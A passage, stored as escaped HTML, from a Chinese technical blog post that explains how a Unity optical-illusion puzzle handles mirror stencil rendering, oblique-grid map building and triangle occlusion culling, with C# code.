border=\"0\" frameborder=\"no\" framespacing=\"0\" allowfullscreen=\"true\"\u003e\u003c/iframe\u003e\n\u003c/div\u003e\n\n\u003cp\u003eGitHub: \u003ca href=\"https://github.com/stalomeow/DreamTicker\"\u003ehttps://github.com/stalomeow/DreamTicker\u003c/a\u003e。\u003c/p\u003e\n\u003ch2 id=\"渲染\"\u003e渲染\u003ca class=\"headerlink\" href=\"#渲染\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e重点:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e相机用正交投影,不要透视投影的近大远小的效果。\u003c/li\u003e\n\u003cli\u003e相机朝向必须和正方体的某个体对角线平行,否则做不到游戏里的效果。我用的相机欧拉角是 \u003cspan class=\"arithmatex\"\u003e\\((\\arcsin\\dfrac{1}{\\sqrt{3}},-\\dfrac{\\pi}{4},0)\\)\u003c/span\u003e。\u003c/li\u003e\n\u003cli\u003e方块被分成镜子前、镜子内、镜子后三部分,提前放在场景里。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e渲染流程:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e镜子写入模板值 \u003ccode\u003e1\u003c/code\u003e(不输出颜色)\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e绘制方块\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e镜子前的:模板测试 \u003ccode\u003eAlways\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e镜子内的:模板测试 \u003ccode\u003eEqual 1\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e镜子外的:模板测试 \u003ccode\u003eNotEqual 1\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e绘制角色(深度测试 \u003ccode\u003eAlways\u003c/code\u003e,避免被方块挡住)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e绘制半透明的镜子\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"建图\"\u003e建图\u003ca class=\"headerlink\" href=\"#建图\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e这是一个视错觉游戏,在三维空间中不可能的路径,只要从玩家的视角看上去没问题就能行走,所以,很容易想到把方块变换到 viewport space 或者 screen space 再建图。\u003c/p\u003e\n\u003cp\u003e实际试下来,发现这两个 space 存在一些缺点:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e坐标依赖玩家的屏幕分辨率。不同分辨率下,算出来结果存在一些差异。\u003c/li\u003e\n\u003cli\u003e方块坐标和边长都不是整数。由于浮点数计算存在误差,计算相邻方块的坐标时经常算不准,没法在 \u003ccode\u003eDictionary\u0026lt;Vector2, Block\u0026gt;\u003c/code\u003e 里访问到相应的方块。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e考虑到相机用的是正交投影,其矩阵为\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\begin{bmatrix}\n \\dfrac{2}{r-l} \u0026amp;0 \u0026amp;0 \u0026amp;-\\dfrac{r+l}{r-l} \\\\\n 0 \u0026amp;\\dfrac{2}{t-b} \u0026amp;0 \u0026amp;-\\dfrac{t+b}{t-b} \\\\\n 0 \u0026amp;0 \u0026amp;-\\dfrac{2}{f-n} \u0026amp;-\\dfrac{f+n}{f-n} \\\\\n 0 \u0026amp;0 \u0026amp;0 \u0026amp;1\n\\end{bmatrix}\n\\]\u003c/div\u003e\n\u003cp\u003e其中,\u003cspan class=\"arithmatex\"\u003e\\(r,l,t,b,f,n\\)\u003c/span\u003e 分别为视锥体的 right, left, top, bottom, far, near。Unity 的视锥体是对称的,即满足\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\left\\{\\begin{matrix}\n r+l\u0026amp;=0 \\\\\n t+b\u0026amp;=0\n\\end{matrix}\\right.\n\\]\u003c/div\u003e\n\u003cp\u003e所以,正交投影矩阵化简为\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\begin{bmatrix}\n \\dfrac{2}{r-l} \u0026amp;0 \u0026amp;0 \u0026amp;0 \\\\\n 0 \u0026amp;\\dfrac{2}{t-b} \u0026amp;0 \u0026amp;0 \\\\\n 0 \u0026amp;0 \u0026amp;-\\dfrac{2}{f-n} \u0026amp;-\\dfrac{f+n}{f-n} \\\\\n 0 \u0026amp;0 \u0026amp;0 \u0026amp;1\n\\end{bmatrix}\n\\]\u003c/div\u003e\n\u003cp\u003e对于 view space 的点 \u003cspan class=\"arithmatex\"\u003e\\((x,y,z)\\)\u003c/span\u003e 用上面的矩阵变换到 NDC 后是\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n(\\dfrac{2}{r-l}x,\\dfrac{2}{t-b}y,-\\dfrac{2}{f-n}z-\\dfrac{f+n}{f-n})\n\\]\u003c/div\u003e\n\u003cp\u003e发现 \u003cspan class=\"arithmatex\"\u003e\\(x\\)\u003c/span\u003e 和 \u003cspan class=\"arithmatex\"\u003e\\(y\\)\u003c/span\u003e 只是被缩放了常数倍。从 NDC 到 viewport space 或者 screen space 都是对 \u003cspan class=\"arithmatex\"\u003e\\(x\\)\u003c/span\u003e 和 \u003cspan class=\"arithmatex\"\u003e\\(y\\)\u003c/span\u003e 分别进行两种相同的线性变换。所以,从 view space 到 viewport space 或者 screen space 就是对 \u003cspan class=\"arithmatex\"\u003e\\(x\\)\u003c/span\u003e 和 \u003cspan class=\"arithmatex\"\u003e\\(y\\)\u003c/span\u003e 做了一些线性变换,完全可以省略。可以这样理解:一张照片在家里看和在学校里看没有差别,放大 10 倍和原大小整体上也没差别。\u003c/p\u003e\n\u003cp\u003e考虑到一个方块只有朝上的面才能行走,并且这个面从屏幕上看是一个平行四边形,不难构造出下面这个二维斜坐标系。任意选一个方块,将它朝上的那个面的中心作为原点。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"坐标系\" src=\"../../../obsidian-vault/attachments/unity_hsr_dream_ticker_explain.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e若以平行四边形格子的中心点表示该格,则 \u003cspan class=\"arithmatex\"\u003e\\((x,y)\\)\u003c/span\u003e 右边一格为 \u003cspan class=\"arithmatex\"\u003e\\((x+1,y)\\)\u003c/span\u003e,前面一格为 \u003cspan class=\"arithmatex\"\u003e\\((x,y+1)\\)\u003c/span\u003e,且 \u003cspan class=\"arithmatex\"\u003e\\(x,y\\)\u003c/span\u003e 均为整数。只要能把原来的三维地图转化成这个平行四边形网格,剩下的就很简单了。\u003c/p\u003e\n\u003ch3 id=\"计算方块对应格子的坐标\"\u003e计算方块对应格子的坐标\u003ca class=\"headerlink\" href=\"#计算方块对应格子的坐标\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e将一个方块朝上的那个面的中心点称为 \u003ccode\u003eUpperCenter\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e设某方块的 \u003ccode\u003eUpperCenter\u003c/code\u003e 在 view space 的坐标为 \u003cspan class=\"arithmatex\"\u003e\\((x,y,z)^T\\)\u003c/span\u003e,变换到斜坐标系后是 \u003cspan class=\"arithmatex\"\u003e\\((x',y')^T\\)\u003c/span\u003e。作为斜坐标系原点的 \u003ccode\u003eUpperCenter\u003c/code\u003e 在 view space 的坐标为 \u003cspan class=\"arithmatex\"\u003e\\((O_x,O_y,O_z)^T\\)\u003c/span\u003e。\u003c/p\u003e\n\u003cp\u003e将 world space 的两个\u003cstrong\u003e方向\u003c/strong\u003e \u003cspan class=\"arithmatex\"\u003e\\((1,0,0)^T\\)\u003c/span\u003e 和 \u003cspan class=\"arithmatex\"\u003e\\((0,0,1)^T\\)\u003c/span\u003e 变换到 view space,只取 x 和 y 分量,不要归一化,记为 \u003cspan class=\"arithmatex\"\u003e\\(\\vec{a}\\)\u003c/span\u003e 和 \u003cspan class=\"arithmatex\"\u003e\\(\\vec{b}\\)\u003c/span\u003e。这就是斜坐标系的两个基向量在 view space 的表示。\u003c/p\u003e\n\u003cp\u003e可求得\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\begin{bmatrix}\n x'\\\\\n y'\n\\end{bmatrix} = \\begin{bmatrix}\n \\vec{a} \u0026amp; \\vec{b}\n\\end{bmatrix}^{-1} \\left (\\begin{bmatrix}\n x\\\\\n y\n\\end{bmatrix}-\\begin{bmatrix}\n O_x\\\\\n O_y\n\\end{bmatrix} \\right )\n\\]\u003c/div\u003e\n\u003ch3 id=\"根据镜子做剔除\"\u003e根据镜子做剔除\u003ca class=\"headerlink\" href=\"#根据镜子做剔除\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e镜子前的方块不用管,全部保留即可。镜子内的方块只有玩家能看到的部分才算入网格地图中,镜子后的方块同理。镜子会把方块裁成不同形状,如下图。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"镜子\" src=\"../../../obsidian-vault/attachments/unity_hsr_dream_ticker_explain2.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e一个方块在当前视角下看是一个正六边形,根据对角线可以分成 6 个三角形。镜子只能横向移动,对移动后的坐标进行限制,可以保证这些三角形不被分割。\u003c/p\u003e\n\u003cp\u003e镜子在斜坐标系里是一个平行四边形,四条边的直线方程很容易算。上图中,红线的斜率是 \u003cspan class=\"arithmatex\"\u003e\\(0\\)\u003c/span\u003e,黄线的斜率是 \u003cspan class=\"arithmatex\"\u003e\\(-1\\)\u003c/span\u003e。只要知道镜子某个角的坐标,还有长和宽,就能算出四条直线方程。\u003c/p\u003e\n\u003cp\u003e如果一个三角形的重心在平行四边形内,这个三角形就是在镜子里,否则就在镜子外。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e对镜子内的方块,把不在镜子里的三角形删掉。\u003c/li\u003e\n\u003cli\u003e对镜子后的方块,把在镜子里的三角形删掉。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"根据遮挡关系做剔除\"\u003e根据遮挡关系做剔除\u003ca class=\"headerlink\" href=\"#根据遮挡关系做剔除\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e方块之间存在遮挡关系,比如下面红色的面就被挡住了,它就不能算入网格地图中。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"遮挡关系\" src=\"../../../obsidian-vault/attachments/unity_hsr_dream_ticker_explain3.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e这部分的剔除还是以之前提到的三角形为单位。\u003c/p\u003e\n\u003cp\u003e这里其实有参考一点 Hi-Z 的思路。先把之前剔除下来的三角形的 view space z 都写入到一张 \u003ccode\u003ezMap\u003c/code\u003e 里,写入时只保留最大值。换句话说 \u003ccode\u003ezMap\u003c/code\u003e 存的是各点处离相机最近的三角形的 z 值。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eSetZMap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eDictionary\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eVector2Int\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ezMap\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eVector2Int\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003ezMap\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eTryGetValue\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eout\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edepth\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ezMap\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ezMap\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eMathf\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eMax\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edepth\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e三角形的 z 值不需要很准确,够用就行。我直接把 \u003ccode\u003eUpperCenter\u003c/code\u003e 变换到 view space 后的 z 值作为该方块(投影的正六边形)里所有三角形的 z。\u003c/p\u003e\n\u003cp\u003e把每个格子拆分成下图中的 Lower Triangle 和 Upper Triangle。\u003ccode\u003ezMap\u003c/code\u003e 分成 \u003ccode\u003ezMapLower\u003c/code\u003e 和 \u003ccode\u003ezMapUpper\u003c/code\u003e,分别记录 Lower Triangle 和 Upper Triangle。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"上下三角的定义\" src=\"../../../obsidian-vault/attachments/unity_hsr_dream_ticker_explain4.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e正六边形则分成下面的六个三角形。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"正六边形的分割\" src=\"../../../obsidian-vault/attachments/unity_hsr_dream_ticker_explain5.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e遍历正六边形里的三角形,写入 z 值,然后再把被挡住的三角形删掉。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eCullBlocksByViewSpaceZ\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eDictionary\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eVector2Int\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eBlockGroup\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebMap\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDictionary\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eVector2Int\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ezMapLower\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDictionary\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eVector2Int\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ezMapUpper\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eforeach\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebMap\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eValues\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eSelectMany\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eg\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eg\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eProjectedShapes\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eBlockProjectedShapes\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eLeftUpperTriangle\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSetZMap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ezMapLower\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eProjectedXY\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eViewSpaceUpperCenterZ\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eProjectedShapes\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eBlockProjectedShapes\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eMiddleUpperTriangle\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSetZMap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ezMapUpper\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eProjectedXY\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eViewSpaceUpperCenterZ\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eProjectedShapes\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eBlockProjectedShapes\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eRightUpperTriangle\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSetZMap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ezMapLower\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eProjectedXY\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eVector2Int\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eViewSpaceUpperCenterZ\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eProjectedShapes\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eBlockProjectedShapes\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eLeftLowerTriangle\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan 